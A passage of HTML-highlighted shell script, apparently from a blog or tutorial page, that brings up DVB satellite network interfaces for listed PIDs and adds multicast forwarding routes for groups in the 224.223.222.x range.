\u0026amp;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e# Set address on local forwarding interface and bring it up\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Set multicast forwarding interface \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eIFCONFIG\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMIP\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e multicast up\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e# Set PID on active dvb interface\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Set net interface for listed PID:\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e i in \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003ePID\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003edo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Bring up PID \u003c/span\u003e$i\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eDNET\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -p $i\u0026gt;/dev/null 2\u0026gt;\u0026amp;\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003edone\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e# Set address on dvbs interfaces and bring it up\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Set net interface up:\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e ii in \u003cspan style=\"color:#f92672\"\u003e{\u003c/span\u003e0..7\u003cspan style=\"color:#f92672\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003edo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Bring up dvb net interface \u003c/span\u003e$ii\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eIFCONFIG\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e dvb\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e_$ii 192.168.22$ii.238 up \u0026gt;/dev/null 2\u0026gt;\u0026amp;\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003edone\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e# Start multicast router\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Enable Multicast Router\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -d\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e#PID 100 multicast forward\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Set multicast for PID 100\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_0 192.168.1.1 224.223.222.34 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_0 192.168.1.1 224.223.222.36 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_0 192.168.1.1 224.223.222.40 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_0 192.168.1.1 224.223.222.223 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e#PID 300 multicast forward\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Set multicast for PID 300\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_1 192.168.1.1 224.223.222.21 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_1 192.168.1.1 224.223.222.31 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_1 192.168.1.1 224.223.222.32 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_1 192.168.1.1 224.223.222.37 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_1 192.168.1.1 224.223.222.226 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_1 192.168.1.1 224.223.222.252 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_1 192.168.1.1 224.223.222.253 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e#PID 301 multicast forward\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Set multicast for PID 301\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_2 192.168.1.1 224.223.222.23 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_2 192.168.1.1 224.223.222.33 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_2 192.168.1.1 224.223.222.38 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_2 192.168.1.1 224.223.222.39 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_2 192.168.1.1 224.223.222.35 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_2 192.168.1.1 224.223.222.227 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_2 192.168.1.1 224.223.222.251 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e#PID 302 multicast forward\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Set multicast for PID 302\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_3 192.168.1.1 224.223.222.25 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e#PID 500 multicast forward\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Set multicast for PID 500\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_4 192.168.1.1 224.223.222.1 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_4 192.168.1.1 224.223.222.22 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_4 192.168.1.1 224.223.222.28 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_4 192.168.1.1 224.223.222.27 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_4 192.168.1.1 224.223.222.29 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_4 192.168.1.1 224.223.222.30 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e#PID 509 multicast forward\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Set multicast for PID 509\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_5 192.168.1.1 224.223.222.248 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_5 192.168.1.1 224.223.222.249 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_5 192.168.1.1 224.223.222.250 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e#PID 510 multicast forward\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\techo \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Set multicast for PID 510\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_6 192.168.1.1 224.223.222.231 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_6 192.168.1.1 224.223.222.232 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_6 192.168.1.1 224.223.222.233 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_6 192.168.1.1 224.223.222.234 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_6 192.168.1.1 224.223.222.235 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_6 192.168.1.1 224.223.222.236 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_6 192.168.1.1 224.223.222.237 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_6 192.168.1.1 224.223.222.239 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_6 192.168.1.1 224.223.222.240 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_6 192.168.1.1 224.223.222.242 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_6 192.168.1.1 224.223.222.243 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_6 192.168.1.1 224.223.222.244 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_6 192.168.1.1 224.223.222.245 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_6 192.168.1.1 224.223.222.246 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMROUTE\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e -a dvb0_6 192.168.1.1 224.223.222.247 \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMINT\u003cspan 